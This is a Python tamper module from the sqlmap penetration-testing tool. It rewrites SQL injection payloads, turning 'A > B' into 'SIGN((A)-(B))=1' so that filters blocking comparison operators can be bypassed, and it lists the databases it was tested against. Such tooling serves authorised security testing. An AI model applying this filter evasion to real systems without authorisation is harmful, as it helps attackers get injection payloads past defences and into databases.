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47 lines
1.3 KiB
Python
47 lines
1.3 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces greater than operator ('>') with 'SIGN' counterpart (e.g. SIGN((A)-(B))=1)
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Tested against:
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* MySQL 5
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* Oracle 11g
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* PostgreSQL 9
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* Microsoft SQL Server 2012
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Notes:
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* Useful to bypass filtering of comparison operators altogether (>, <,
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>=, <=), as SIGN() needs none of them - only subtraction and '='.
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sqlmap's blind inference always compares a numeric ordinal against an
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integer literal, so SIGN((A)-(B))=1 is an exact equivalent of A>B
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there (no NULL/decimal/date/collation/overflow concerns in that domain)
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>>> tamper('1 AND A > B')
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'1 AND SIGN((A)-(B))=1'
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"""
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retVal = payload
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if payload:
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match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^><]+?)\s*(?<![<>!])>(?!=)\s*(\w+|'[^']+')", payload)
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if match:
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_ = "%sSIGN((%s)-(%s))=1" % (match.group(1), match.group(3), match.group(4))
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retVal = retVal.replace(match.group(0), _)
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return retVal
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